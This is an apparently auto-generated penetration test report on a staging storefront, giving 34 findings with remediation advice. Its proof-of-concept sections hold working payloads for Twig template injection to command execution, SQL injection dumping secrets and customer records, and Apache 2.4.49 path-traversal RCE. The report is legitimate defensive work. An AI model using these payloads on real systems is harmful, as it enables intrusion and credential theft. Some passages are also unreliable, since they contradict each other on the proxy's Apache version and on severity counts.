ModernPentest

Penetration Test Security Report

Storefront

Anonymized staging evaluation

Generated: 5 September 2026

Report ID: storefront-evaluation

Risk Level: CRITICAL

Table of Contents

Click a section title to jump to it, or use your PDF reader's bookmark panel. This report covers the findings of the most recent penetration test, prioritized by severity and remediation effort.

1. Executive Summary

Current Risk Assessment

100

Risk Score

CRITICAL

Vulnerability Breakdown

Critical	8
High	9
Medium	4
Low	8
Info	5

Total Vulnerabilities **34**

Summary

Anonymized staging evaluation. Identifying data has been redacted. No post-fix verification was recorded.

This assessment of http://storefront.example completed over a 248-minute scan window and returned a critical risk level with a risk score of 100 out of 100, the highest rating available. A total of 34 new vulnerabilities were identified, including 8 critical, 9 high, 4 medium, 8 low, and 5 informational findings. No prior trend data is available for this target, so no trajectory can be established yet; this scan should serve as the baseline for future comparisons. The severity distribution is heavily weighted toward the top of the scale, with 20 findings classified as P1 or P2 priority, indicating that the most serious issues are also the most urgent. No previously identified vulnerabilities were confirmed as fixed in this cycle, and no findings were reintroduced.

The most consequential findings are a cluster of unauthenticated remote code execution and SQL injection vulnerabilities that require no credentials to exploit. Two Twig server-side template injection flaws, one in templates/preview via the template parameter and another in invoices/create via a POST parameter, both allow attackers to execute arbitrary code on the server with minimal effort. These map to OWASP API8:2023 Security Misconfiguration and A03:2021 Injection. Alongside these, three SQL injection paths were confirmed: an error-based and time-based blind injection in product_qa.php, a UNION-based injection in promo.php, and an injection in the order_tracking.php tracking identifier parameter, all classified under A03:2021 Injection (CWE-89). The combination of unauthenticated access, low exploitation effort, and direct paths to either code execution or database compromise means these findings represent immediate, practical risk to the confidentiality and integrity of application data and underlying infrastructure.

No vulnerabilities were confirmed as fixed in this assessment, so there is no remediation progress to report at this time. This is the first recorded cycle for this target, and future assessments will establish whether remediation efforts are taking hold.

The dominant pattern across the critical findings is the complete absence of authentication requirements on dangerous functionality. Every one of the top five critical issues is exploitable by an unauthenticated attacker, and several require

only low effort to weaponize. This suggests a systemic gap in access control around sensitive endpoints rather than isolated coding errors, which should shape both the remediation strategy and any interim compensating controls. Because no items have been confirmed fixed, there is currently no verified remediation momentum to build on, making the first remediation cycle especially important to get right.

Immediate action should focus on the 8 P1 critical findings, beginning with the two Twig template injection vulnerabilities in templates/preview and invoices/create, as both enable unauthenticated remote code execution with low attacker effort. These should be followed closely by the three SQL injection flaws in product_qa.php, promo.php, and order_tracking.php, all of which expose backend database content. As quick wins, several of these can be addressed with targeted fixes such as disabling template preview functionality, parameterizing queries, and restricting endpoint access. The 12 P2 high-priority findings should be scheduled immediately afterward, and a follow-up verification scan should be planned to confirm remediation effectiveness.

2. Vulnerability Overview

Vulnerability Lifecycle

New Vulnerabilities	34
Fixed Since Last Pentest	0
Reintroduced	0
Existing (Unresolved)	0

Existing Vulnerabilities by Status

This is the first assessment of Storefront. There are no previously reported vulnerabilities to carry forward, so every finding in this report is new.

New Vulnerabilities by Severity

Critical	High	Medium	Low	Info
8	9	4	8	5

3. Prioritization Matrix

Vulnerabilities are prioritized by severity, exploitability and remediation effort. P1 items need immediate attention; P4 items can be addressed during normal maintenance cycles.

8	12	1	13
P1 Immediate	P2 High	P3 Medium	P4 Low

P1 Immediate priority (8 findings)

Title	Severity	OWASP	Effort	Status
Unauthenticated Twig SSTI leading to RCE on templates/preview?template=	CRITICAL	API8:2023 Security Misconfiguration / A03:2021 Injection	Low	Open
Unauthenticated Twig SSTI leading to RCE on invoices/create (POST template)	CRITICAL	A03:2021-Injection	Low	Open
Unauthenticated SQL injection in product_qa.php?product= (error-based and time-based blind)	CRITICAL	A03:2021 Injection (CWE-89)	Low	Open
Unauthenticated UNION-based SQL injection in promo.php?code=	CRITICAL	A03:2021-Injection	Low	Open
Unauthenticated SQL injection in order_tracking.php id/tracking_id parameter	CRITICAL	API8:2023 Security Misconfiguration / A03:2021 Injection (CWE-89)	Medium	Open
Unauthenticated RCE on backend Apache 2.4.49 via double-encoded path traversal (CVE-2021-41773/42013 mod_cgi)	CRITICAL	A03:2021-Injection	Medium	Open
Apache 2.4.49 front proxy: unauthenticated RCE via CVE-2021-42013 traversal + mod_cgi on /cgi-bin/ (POST to /bin/sh)	CRITICAL	A03:2021-Injection	Medium	Open
Unauthenticated /api.php?action=secrets exposes production secrets and config in plaintext JSON	CRITICAL	A01:2021-Broken Access Control	Medium	Open

P2 High priority (12 findings)

Title	Severity	OWASP	Effort	Status
Unauthenticated XXE in catalog/import xml_data import (arbitrary file read)	HIGH	A03:2021 Injection - XXE (CWE-611)	Trivial	Open

Unauthenticated XXE in rss_parser.php xml_content parameter (arbitrary file read and SSRF)	HIGH	A03:2021 Injection (XXE)	Low	Open
Apache 2.4.49 front proxy: CVE-2021-41773/42013 path traversal via %%32%65 and .%%32e encodings on /icons/	HIGH	A01:2021-Broken Access Control	Low	Open
Unauthenticated path traversal / arbitrary file read via /images/ on Apache 2.4.49 (CVE-2021-41773/42013)	HIGH	A01:2021-Broken Access Control	Low	Open
Unauthenticated path traversal / arbitrary file read via view_media.php?file=	HIGH	API1:2023 Broken Object Level Authorization / A01:2021 Broken Access Control	Low	Open
Unauthenticated path traversal / arbitrary file read via files/download?file=	HIGH	A01:2021 Broken Access Control	Low	Open
Unauthenticated SQL injection in catalog/search?q= (boolean-blind, result-count oracle)	HIGH	API8:2023 Security Misconfiguration / A03:2021 Injection	Low	Open
Unauthenticated SSRF and arbitrary local file read via check_link.php?url=	MEDIUM	A10:2021 Server-Side Request Forgery	Low	Open
Reflected XSS on product_qa.php?product= via unescaped mysqli_error echo (alert fires in real browser)	MEDIUM	A03:2021-Injection	Low	Open
Reflected XSS on promo.php via unescaped mysqli_error echo (GET-link delivered)	MEDIUM	A03:2021 Injection	Low	Open
Unauthenticated arbitrary file read on backend Apache 2.4.49 via CVE-2021-41773/42013 path traversal	HIGH	A01:2021-Broken Access Control	Medium	Open
Unauthenticated SQL injection in wishlist.php?id= (UNION-based and time-based blind)	HIGH	A03:2021-Injection	Medium	Open

P3 Medium priority (1 finding)

Title	Severity	OWASP	Effort	Status
Unauthenticated SSRF with arbitrary file read via catalog/compare url1/url2/url3	MEDIUM	A10:2021 Server-Side Request Forgery	Medium	Open

P4 Low priority (13 findings)

Title	Severity	OWASP	Effort	Status
Clickjacking: 3 pages missing frame-protection headers	LOW	A04:2021 - Insecure Design	Trivial	Open
Session/Auth Cookie Missing Security Flags	INFO	A05:2021 - Security Misconfiguration	Trivial	Open

Options Indexes directory listing exposed on front-proxy /icons/ alias	INFO	A05:2021-Security Misconfiguration	Trivial	Open
Clickjacking: 37 pages missing frame-protection headers	LOW	A04:2021 - Insecure Design	Low	Open
Session/Auth Cookie Missing Security Flags	LOW	A05:2021 - Security Misconfiguration	Low	Open
Unvalidated open redirect on external_link.php?url=	LOW	A01:2021 Broken Access Control (Unvalidated Redirects)	Low	Open
Stack version disclosure: Apache/2.4.54, PHP/7.4.33 (EOL) in response headers	LOW	A05:2021-Security Misconfiguration	Low	Open
Unauthenticated XML product import allows arbitrary catalog content injection (catalog/import)	LOW	A01:2021-Broken Access Control	Low	Open
javascript: URI rendered raw in feed-link href (link injection)	LOW	A03:2021-Injection	Low	Open
Reflected XSS in invoices/create - template echoed unescaped into Invoice Preview div	LOW	A03:2021-Injection	Low	Open
Missing Security Headers across 37 pages	INFO	A05:2021 - Security Misconfiguration	Low	Open
Missing Security Headers across 3 pages	INFO	A05:2021 - Security Misconfiguration	Low	Open
Unvalidated open redirect on redirect.php?url=	INFO	A01:2021-Broken Access Control	Low	Open

4. Vulnerability Details

Detailed write-ups follow for all 34 findings, in priority order.

1. Unauthenticated Twig SSTI leading to RCE on templates/preview?template=

Severity	CRITICAL
Status	Open
OWASP Category	API8:2023 Security Misconfiguration / A03:2021 Injection
Endpoint	GET /templates/preview
Parameter	template
Estimated Effort	Low 6h

Description

The `template` query parameter of /templates/preview is passed directly into the Twig template engine and rendered server-side with no sandboxing or input validation, allowing an attacker to inject arbitrary Twig template code. Because Twig's `map` filter accepts a string callable, the payload `{{['id']|map('system')}}` invokes PHP's `system()` function with attacker-controlled input, yielding unauthenticated OS command execution as the www-data user (uid=33). The endpoint is a public GET route, so no authentication or special privileges are required to achieve full remote code execution.

Business Impact

An unauthenticated internet-facing attacker gains arbitrary OS command execution as www-data, allowing full server compromise including theft of application source code, environment secrets, and credentials. Attackers can deploy webshells or reverse shells, exfiltrate or destroy business data, and pivot to internal services, leading to operational disruption, data breach notification obligations, and regulatory exposure. Because the endpoint is public and requires no authentication, exploitation is trivially repeatable and could result in ransomware deployment or long-term persistent access.

Proof of Concept

Setup

No authentication required - `templates/preview` is a public GET endpoint that renders the `template` query parameter through Twig (user-provided template code evaluated server-side).

Exploit

1. Fingerprint the engine (Twig, not Jinja2 - `7*'7'` evaluates to 49, Jinja2 would print 7777777):

```http
GET /templates/preview?template={{7*'7'}} HTTP/1.1
Host: storefront.example
```

2. Execute an OS command via Twig's `map` filter with the `system` callable:

```http
GET /templates/preview?template=%7B%7B%5B%27id%27%5D%7Cmap%28%27system%27%29%7D%7D HTTP/1.1
Host: storefront.example
```

3. Pivot to filesystem/asset enumeration (used during testing):

```http
GET /templates/preview?template={{['env | grep -i apache; find / -name files/download 2>/dev/null;
echo DONE']|map('system')}} HTTP/1.1
```

Verification

Response 200 with the command output rendered inside the `template-output` div:

```html
<div class="template-output">
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array                </div>
```

The enumeration payload also returned server environment (`APACHE_DOCUMENT_ROOT=/app/[REDACTED-PATH]`) and located application files (`/app/[REDACTED-PATH]`), confirming full command execution as `www-data`. A full `find / -name .htpasswd` returned nothing - no .htpasswd exists on this host.

Cleanup

No persistent state was modified (commands were read-only: `id`, `env`, `find`, `grep`, `ls`).

Remediation

Immediate action

Remove the ability for user-supplied input to be rendered as Twig template code by rendering the `template` parameter as plain data rather than template source, or delete the public templates/preview endpoint entirely.

Steps

1. Stop passing the `template` parameter into Twig's render context as template source; render user input as a variable value (e.g., pass it as context data) instead of evaluating it.
2. If dynamic templating is required, use Twig's sandbox environment with a strict allowlist of tags, filters, and functions, and forbid dangerous filters such as `map`, `sort`, `filter`, and `reduce` with arbitrary callables.
3. Restrict the callable names accepted by filters like `map` to a hardcoded allowlist and never allow PHP function names such as `system`, `exec`, or `passthru`.
4. Add input validation on the `template` parameter to reject Twig delimiters (`{{`, `{%`) and restrict the endpoint to authenticated administrative users only.
5. Run the PHP/Apache container with a least-privilege user and network egress controls to limit the blast radius of any future code execution.

2. Unauthenticated Twig SSTI leading to RCE on invoices/create (POST template)

Severity	CRITICAL
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-1336
Endpoint	POST /invoices/create
Parameter	template
Estimated Effort	Low 4h

Description

invoices/create renders the user-supplied `template` POST field directly as a Twig template by constructing a Twig Environment with an ArrayLoader containing the raw input ($twig→render('invoice', $data)) with no sandbox enabled. Because arbitrary Twig syntax is compiled and executed server-side, an unauthenticated attacker can invoke PHP functions via Twig filters such as {{['id']|map('system')}}, achieving full OS command execution as the www-data user. The rendered output, including command results, is echoed unescaped into the Invoice Preview section of the HTTP 200 response.

Business Impact

An unauthenticated attacker gains full remote code execution as www-data, allowing them to steal MySQL credentials from /app/[REDACTED-PATH] and pivot into the internal database host holding business and customer data. Persistent webshells enable complete application takeover, data exfiltration, and long-term footholds for further attacks. This constitutes a critical breach with likely regulatory, financial, and reputational consequences.

Proof of Concept

Setup

No authentication required. `invoices/create` builds `new Environment(new ArrayLoader(['invoice' ⇒ $_POST['template']]))` and echoes `$twig→render('invoice', $data)` unescaped into the Invoice Preview section (confirmed via `files/download?file=../invoices/create` source disclosure).

Exploit

1. Prove template evaluation:

```bash
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=SSTI-PROBE-1" \
--data-urlencode "template={{7*7}}-{{'SSTICR2'}}"
```

2. Escalate to OS command execution:

```bash
curl -s -X POST http://storefront.example/invoices/create \
--data-urlencode "invoice_number=RCE-PROBE-1" \
--data-urlencode "template={{['id']|map('system')}}"
```

Verification

- Step 1: the `preview-section` div in the 200 response contains literal `49-SSTICR2` (`7*7` evaluated server-side).
- Step 2: the `preview-section` div contains the output of the executed command:

```text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array
```

i.e. `system('id')` was executed as `www-data` and its output rendered into the page.

Cleanup

No persisted state - the render is per-request only; nothing to clean up.

Remediation

Immediate action

Stop rendering user-supplied input as Twig templates by replacing the ArrayLoader-based dynamic template with a fixed template and passing user data only as render variables.

Steps

1. Replace new Environment(new ArrayLoader(['invoice' ⇒ $_POST['template']])) with a static template file and pass user input exclusively through the render context variables.
2. If dynamic templating is unavoidable, enable Twig's sandbox extension (Twig\Extension\SandboxExtension) with a strict policy that disables dangerous filters and functions such as map, filter, sort, system, exec, and file.
3. Restrict the template authoring to predefined fragments from an allowlist stored server-side, and never accept full template syntax from unauthenticated requests.
4. Validate and escape all rendered output before echoing it into the Invoice Preview section.

3. Unauthenticated SQL injection in product_qa.php?product= (error-based and time-based blind)

Severity	CRITICAL
Status	Open
OWASP Category	A03:2021 Injection (CWE-89)
CWE ID	CWE-89
Endpoint	GET /product_qa.php
Parameter	product
Estimated Effort	Low 6h

Description

The `product` GET parameter of /product_qa.php is concatenated directly into a MySQL query in an unquoted numeric context without casting or parameterization, allowing arbitrary SQL injection from unauthenticated users. The injection is confirmed via time-based blind techniques (SLEEP(4) delayed responses to ~4s against a ~15ms baseline) and error-based extraction, since the page renders raw MySQL errors including extractvalue() XPATH output. Using this primitive, an attacker can read arbitrary tables, including the `secrets` table containing production API keys, the JWT signing key, AWS secret access key, and Redis password.

Business Impact

An unauthenticated attacker can extract the production secrets table, including live API keys ([REDACTED]), the JWT signing key, AWS secret access key, and Redis password. With the JWT signing key, attackers can forge admin sessions and take full control of the application, while the AWS credentials enable access to cloud infrastructure and potential data exfiltration or resource abuse. This exposure carries severe financial, compliance, and reputational consequences, including unauthorized charges, regulatory penalties, and loss of customer trust.

Proof of Concept

Setup

No authentication required - /product_qa.php is public.

Exploit

1. Verbose MySQL error on quote:

```http
GET /product_qa.php?product=136' HTTP/1.1
Host: storefront.example
```

```text
Database Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
```

2. Time-based blind injection (response takes ~4s vs ~15ms baseline):

```http
GET /product_qa.php?product=136 AND SLEEP(4) HTTP/1.1
Host: storefront.example
```

3. Error-based extraction of DBMS identity:

```http
GET /product_qa.php?product=136 AND extractvalue(1,concat(0x7e,version(),0x7e,database())) HTTP/1.1
Host: storefront.example
```

```text
Database Error: XPATH syntax error: '~5.7.44~quickshop'
```

4. Extraction of the production secrets table (paginate with substring() offsets for full dump):

```http
GET /product_qa.php?product=136 AND extractvalue(1,concat(0x7e,(SELECT
substring(group_concat(secret_key,':',secret_value),1,30) FROM secrets))) HTTP/1.1
Host: storefront.example
```

```text
Database Error: XPATH syntax error: '~database_backup_key:bk_prod_a8'
```

Verification

The injected arithmetic/subquery executes server-side: SLEEP(4) produced a 4016ms response against a ~15ms baseline; extractvalue() rendered `~5.7.44~quickshop` and the first 30 chars of the secrets table in the rendered error alert. Same data (api_master_key=[REDACTED], jwt_signing_key, aws_secret_access_key, redis_password, ...) is retrievable by walking substring() offsets.

Cleanup

No state persisted - read-only extraction.

Remediation

Immediate action

Replace the string-concatenated query in /product_qa.php with a parameterized prepared statement that casts the product parameter to an integer before use.

Steps

1. Rewrite the /product_qa.php query to use a parameterized prepared statement (e.g., PDO or mysqli with bound parameters) instead of concatenating the product parameter into SQL
2. Cast the product parameter to an integer server-side (e.g., intval()) before any database use
3. Disable verbose database error output in production and log errors server-side instead of rendering them to the client
4. Rotate all exposed secrets immediately, including api_master_key, jwt_signing_key, aws_secret_access_key, redis_password, and database_backup_key
5. Restrict the application's database user to least-privilege permissions so it cannot read the secrets table

4. Unauthenticated UNION-based SQL injection in promo.php?code=

Severity	CRITICAL
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-89
Endpoint	GET /promo.php
Parameter	code
Estimated Effort	Low 6h

Description

The GET `code` parameter of /promo.php is raw-interpolated into the SQL query `SELECT id, code, discount_percent, description, valid_until FROM promo_codes WHERE code = '$promo_code'` with no escaping or parameterization. A single quote breaks out of the string literal, mysqli_error is echoed into the page (error-based channel), and all 5 query columns are rendered in the success box, providing 5 UNION-reflectable slots. Any unauthenticated visitor can enumerate information_schema and extract arbitrary tables, including the `secrets` table with production credentials and the `orders` table with customer PII.

Business Impact

An unauthenticated attacker can dump the production `secrets` table containing the live Stripe API master key, AWS secret access key, JWT signing key, and other credentials, enabling direct financial API abuse, cloud infrastructure compromise, and token forgery. The same flaw exposes all customer order PII including names, emails, phone numbers, and shipping addresses, creating breach-notification obligations and regulatory exposure under GDPR/CCPA. Full database enumeration of all 13 tables also threatens operational disruption and severe reputational harm.

Proof of Concept

Setup

No authentication required - /promo.php is fully public (linked from the navbar as "Deals"). MySQL 5.7.44, database `quickshop`.

Exploit

1. Confirm the sink - a bare quote yields an in-page SQL error:

```http
GET /promo.php?code=' HTTP/1.1
Host: storefront.example
```

```text
Database Error: You have an error in your SQL syntax; ... near ''''' at line 1
```

2. Verify the 5 UNION slots (all reflected: ID=slot1, Code=slot2, discount-badge=slot3, description <h5>=slot4, valid-until=slot5):

```HTTP
GET /promo.php?code=x' UNION SELECT 1,2,3,4,5-- - HTTP/1.1
Host: storefront.example
```

3. Extract the entire `secrets` table via slot 4:

```HTTP
GET /promo.php?code=x' UNION SELECT 1,2,3,(SELECT GROUP_CONCAT(secret_key,'=',secret_value SEPARATOR
' | ') FROM secrets),5-- - HTTP/1.1
Host: storefront.example
```

4. Extract all customer PII from `orders`:

```HTTP
GET /promo.php?code=x' UNION SELECT 1,2,3,(SELECT GROUP_CONCAT(order_id,':',customer_name,'/',
customer_email,'/',customer_phone SEPARATOR ' | ') FROM orders),5-- - HTTP/1.1
Host: storefront.example
```

Verification

Request 3 returned the full secrets dump inside `<h5 class="mt-3">`:

```TEXT
database_backup_key=[REDACTED] | api_master_key=[REDACTED] | admin_session_secret=[REDACTED] |
jwt_signing_key=[REDACTED]! | encryption_master_key=[REDACTED] | stripe_webhook_secret=[REDACTED] |
aws_secret_access_key=[REDACTED] | redis_password=[REDACTED] | smtp_api_key=[REDACTED] |
oauth_client_secret=[REDACTED]
```

Request 4 returned all 5 orders with customer PII:

```TEXT
ORD-2024-001:John Smith/user@example.com/+1-555-0101 | ORD-2024-002:Sarah Johnson/user@example.com/
+1-555-0102 | ORD-2024-003:Mike Davis/user@example.com/+1-555-0103 | ORD-2024-004:Emily Wilson/
user@example.com/+1-555-0104 | ORD-2024-005:David Brown/user@example.com/+1-555-0105
```

Schema enumeration also succeeded: `information_schema.tables WHERE table_schema=database()` returned 13 tables (contact_inquiries, external_clicks, newsletter_subscribers, order_items, orders, product_qa, products, promo_codes, reviews, saved_searches, secrets, wishlist_items, wishlists).

Remediation

Immediate action

Replace the string-interpolated promo code query with a parameterized prepared statement and stop echoing mysqli_error output to the page.

Steps

1. Convert the promo lookup to a mysqli/PDO prepared statement with the `code` value bound as a parameter instead of raw interpolation
2. Remove the mysqli_error echo from the response and return a generic error message with details logged server-side only

3. Restrict the application database user's privileges so it cannot read the `secrets` table, and move production credentials out of the database into a secrets manager
4. Render only a fixed set of promo fields from a validated lookup result rather than reflecting arbitrary query output

5. Unauthenticated SQL injection in order_tracking.php id/tracking_id parameter

Severity	CRITICAL
Status	Open
OWASP Category	API8:2023 Security Misconfiguration / A03:2021 Injection (CWE-89)
CWE ID	CWE-89
Endpoint	GET /order_tracking.php
Parameter	id (also POST field tracking_id)
Also affects	storefront.example/order_tracking.php/{id}
Estimated Effort	Medium 20h

Description

The `id` GET parameter (and equivalent `tracking_id` POST field) of /order_tracking.php is concatenated directly into a MySQL query without parameterization, allowing unauthenticated UNION-based and error-based SQL injection. A single quote triggers a mysqli error revealing the query location, ORDER BY probing confirms the query selects 9 columns, and a crafted UNION SELECT renders attacker-controlled data - including full table dumps - directly into the page's Customer/Email/Phone/Address/Status fields. The endpoint is public with no authentication, so an attacker can extract the entire `quickshop` database, including a `secrets` table containing production credentials.

Business Impact

An unauthenticated attacker can exfiltrate the entire production database, including customer PII (names, emails, phones, addresses, order contents) and 10 production credentials such as the JWT signing key, AWS secret access key, Stripe webhook secret, and Redis password. Stolen signing and session secrets enable complete authentication bypass and account takeover, while cloud and payment credentials expose the company to infrastructure compromise, fraudulent charges, and direct financial loss. The breach of customer PII also carries regulatory exposure under GDPR/CCPA and severe reputational damage.

Proof of Concept

Setup

No authentication required - the order tracking page is public.

Exploit

1. Confirm injection with a quote (mysqli error surfaces in the response):

```http
GET /order_tracking.php?id=ORD-2024-001' HTTP/1.1
Host: storefront.example
```

Response contains: `Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in /app/[REDACTED-PATH] on line 12`

2. UNION extraction (query has 9 columns; subquery result renders in the "Customer:" field):

```http
GET /order_tracking.php?id=zzz' UNION SELECT 1,2,(SELECT group_concat(secret_key,'=',secret_value SEPARATOR ' | ') FROM secrets),4,5,6,7,8,9-- - HTTP/1.1
Host: storefront.example
```

Verification

Response `200 OK` renders the exfiltrated secrets verbatim in the Order Summary block:

```text
Customer: database_backup_key=[REDACTED] | api_master_key=[REDACTED] | admin_session_secret=[REDACTED] | jwt_signing_key=[REDACTED]! | encryption_master_key=[REDACTED] | stripe_webhook_secret=[REDACTED] | aws_secret_access_key=[REDACTED] | redis_password=[REDACTED] | smtp_api_key=[REDACTED] | oauth_client_secret=[REDACTED]
```

Additional confirmations from the same sink:

- `id=x' OR '1'='1` returns ALL orders in the system (multiple customers' names, emails, phones, addresses, order contents) instead of one order - mass cross-customer PII disclosure by itself.
- `id=zzz' UNION SELECT 1,version(),database(),user(),'A5','A6','A7','A8','A9'-- -` renders `Order #5.7.44`, Customer `quickshop`, Email `user@example.com`.
- `group_concat(table_name)` from information_schema lists: `contact_inquiries, external_clicks, newsletter_subscribers, order_items, orders, product_qa, products, promo_codes, reviews, saved_searches, secrets, wishlist_items, wishlists`.

Cleanup

No state persisted - read-only extraction.

Remediation

Immediate action

Replace string-concatenated SQL in /order_tracking.php with prepared statements using bound parameters for the `id` and `tracking_id` inputs.

Steps

1. Rewrite the query in order_tracking.php (line 12) to use mysqli/PDO prepared statements with bound integer/string parameters instead of interpolating user input.
2. Apply strict server-side input validation on `id`/`tracking_id` (e.g., allowlist format like ^ORD-\d{4}-\d{3,}$) before querying.
3. Rotate all 10 exposed credentials immediately, including jwt_signing_key, aws_secret_access_key, api_master_key, stripe_webhook_secret, redis_password, smtp_api_key, oauth_client_secret, encryption_master_key, admin_session_secret, and database_backup_key.
4. Move secrets out of the database into a dedicated secrets manager and restrict the application's database user to least-privilege grants.
5. Disable verbose mysqli error output in production so database warnings are not rendered in HTTP responses.

6. Unauthenticated RCE on backend Apache 2.4.49 via double-encoded path traversal (CVE-2021-41773/42013 mod_cgi)

Severity	CRITICAL
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-94
Endpoint	POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
Parameter	URL path (double-encoded dot-segments) + POST body (shell commands)
Also affects	storefront.example/catalog
Estimated Effort	Medium 12h

Description

The site is fronted by Apache/2.4.54 (Debian) acting as a proxy to a backend Apache/2.4.49 (Unix) (revealed by its Server header on backend responses, also echoed in the `X-Server` header). The backend runs mod_cgi with `cgid`-style execution enabled and is vulnerable to CVE-2021-41773/CVE-2021-42013: the frontend forwards paths containing double-encoded dot-segments (`.` = `%%32%65` / `%252e`) without normalization, so requests escape the DocumentRoot and execute `/bin/sh` via mod_cgi. Unauthenticated full remote command execution as the backend daemon user.

Business Impact

An unauthenticated attacker can execute arbitrary operating system commands on the backend server, giving them full control to exfiltrate database credentials, application source code, and customer data from the QuickShop application. Compromise of this host enables lateral movement to the application and database tiers, potentially leading to data breaches, regulatory penalties, and prolonged operational disruption. Because the proxy architecture can also be abused to tamper with responses, attackers could manipulate content served to legitimate users, damaging customer trust and brand reputation.

Proof of Concept

Setup

No authentication required. Target is proxied: frontend `Apache/2.4.54 (Debian)` → backend `Apache/2.4.49 (Unix)` (backend banner visible on traversal responses).

Exploit

```http
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

echo; echo BENTEST_RCE_MARKER
```

Equivalent curl:

```bash
curl -s -X POST 'http://storefront.example/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
-d 'echo; echo BENTEST_RCE_MARKER'
```

Verification

Response is `200 OK` with `Server: Apache/2.4.49 (Unix)` and the body is the output of the executed shell command:

```text
BENTEST_RCE_MARKER
```

The marker is echoed verbatim by `/bin/sh` running on the backend - arbitrary OS command execution confirmed. The same traversal prefix over GET also serves arbitrary files (`GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd` returned the full passwd file; `.../bin/sh` returned the ELF binary), confirming path traversal → RCE end-to-end

Cleanup

No persistent state was created (read/execute only).

Remediation

Immediate action

Immediately upgrade the backend Apache HTTP Server from 2.4.49 to a patched release (2.4.51 or later) to eliminate CVE-2021-41773/CVE-2021-42013.

Steps

1. Upgrade the backend Apache HTTP Server from 2.4.49 to 2.4.51 or later, which fixes the path normalization flaw in CVE-2021-41773/CVE-2021-42013.
2. Disable mod_cgi and cgid-style script execution on the backend if dynamic CGI execution is not required, removing the path-traversal-to-RCE escalation path.
3. Configure the frontend Apache/2.4.54 proxy to normalize and reject URLs containing encoded dot-segments (e.g., %%32%65, %252e, .%2e) before forwarding to the backend.
4. Restrict the backend's DocumentRoot and use Require all denied outside served directories so traversal attempts cannot reach /bin/sh or arbitrary filesystem paths.
5. Rotate any credentials stored on the backend host, since /etc/passwd and configuration files were confirmed readable by the attacker.

7. Apache 2.4.49 front proxy: unauthenticated RCE via CVE-2021-42013 traversal + mod_cgi on /cgi-bin/ (POST to /bin/sh)

Severity	CRITICAL
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-78
Endpoint	POST /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
Also affects	storefront.example/cgi-bin/
Estimated Effort	Medium 12h

Description

Multiple security issues detected with 2 specific manifestations: unauthenticated, operation. The front-proxy Apache 2.4.49 (Server banner `Apache/2.4.49 (Unix)`) exposes ScriptAlias /cgi-bin/ with ExecCGI. The CVE-2021-42013 double-decode encoding `.%%32e` traverses out of /cgi-bin/ and reaches any path on the filesystem; because mod_cgi executes anything under the ScriptAlias path, an unauthenticated POST to /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh with shell commands in the POST body executes those commands as uid=33(www-data). This is a second, independent unauthenticated RCE for this application (in addition to the Twig SSTI RCE on invoices/create / templates/preview), running in the front-proxy container (hostname b8ab5fc6e0f9), separate from the PHP app container.

Business Impact

An unauthenticated attacker can execute arbitrary commands as www-data inside the front-proxy container, exposing any files and secrets it holds, including the deployed httpd.conf. From there, the attacker can pivot across the internal Docker network to the MySQL database and the PHP application container, exfiltrate or tamper with business data, and install persistence. Because this RCE requires no authentication and is independent of the PHP app, a compromise could result in full environment takeover, data breach notification obligations, and significant operational disruption.

Proof of Concept

Setup

No authentication required. Front-proxy Apache 2.4.49 handles /cgi-bin/ directly (ScriptAlias with ExecCGI).

Exploit

```http
POST /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh HTTP/1.1
Host: storefront.example
Content-Type: text/plain

echo Content-Type: text/plain; echo; id; uname -a; cat /etc/hostname
```

Verification

`200 OK`, `Server: Apache/2.4.49 (Unix)`, `Content-Type: text/plain`, chunked - body is the command output:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux b8ab5fc6e0f9 6.8.0-1066-gcp #74~22.04.1-Ubuntu SMP Fri Aug  7 21:51:15 UTC 2026 x86_64 GNU/Linux
b8ab5fc6e0f9
```
TEXT

The first `echo` line supplies the CGI response headers; everything after the blank line is command output. The `/icons/` alias is unaffected by RCE (POST /icons/.%%32e/.../bin/sh just serves the static ELF binary - no CGI handler), and GET on the same /cgi-bin/ traversal path returns 500 (mod_cgi can't parse /etc/passwd as a CGI script), confirming the execution is via mod_cgi on the ScriptAlias path.

Remediation

Immediate action

Immediately upgrade or replace the front-proxy Apache 2.4.49 with a patched version (2.4.51 or later) that fixes CVE-2021-42013.

Steps

1. Upgrade Apache httpd to 2.4.51 or later, which fixes the CVE-2021-41773/CVE-2021-42013 path traversal and RCE flaws
2. Remove the ScriptAlias /cgi-bin/ mapping and ExecCGI directive, or restrict mod_cgi execution to only vetted CGI scripts if CGI is still required
3. Disable mod_cgi entirely if no CGI functionality is used by the front proxy
4. Add request-path normalization or a WAF rule rejecting encoded dot-segment traversal patterns such as .%%32e, .%2e, and %%32%65 before they reach the origin
5. Rotate any credentials and secrets stored in the front-proxy container, and audit the container and internal Docker network for persistence mechanisms left by attackers

8. Unauthenticated /api.php?action=secrets exposes production secrets and config in plaintext JSON

Severity	CRITICAL
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-200 / CWE-798
Endpoint	GET /api.php
Parameter	action
Estimated Effort	Medium 24h

Description

The /api.php endpoint on port 3000 exposes a JSON API with no authentication whatsoever, accepting actions including 'secrets' and 'config'. The 'secrets' action executes SELECT * FROM secrets and returns all 10 rows verbatim over an unauthenticated GET, including a JWT signing key, AWS secret access key, Stripe webhook secret, redis password, SMTP API key, OAuth client secret, encryption master key, admin session secret, API master key and DB backup key. The 'config' action additionally discloses the admin email, database name/host, PHP version and full extension list, and the API even enumerates its own available actions on invalid input.

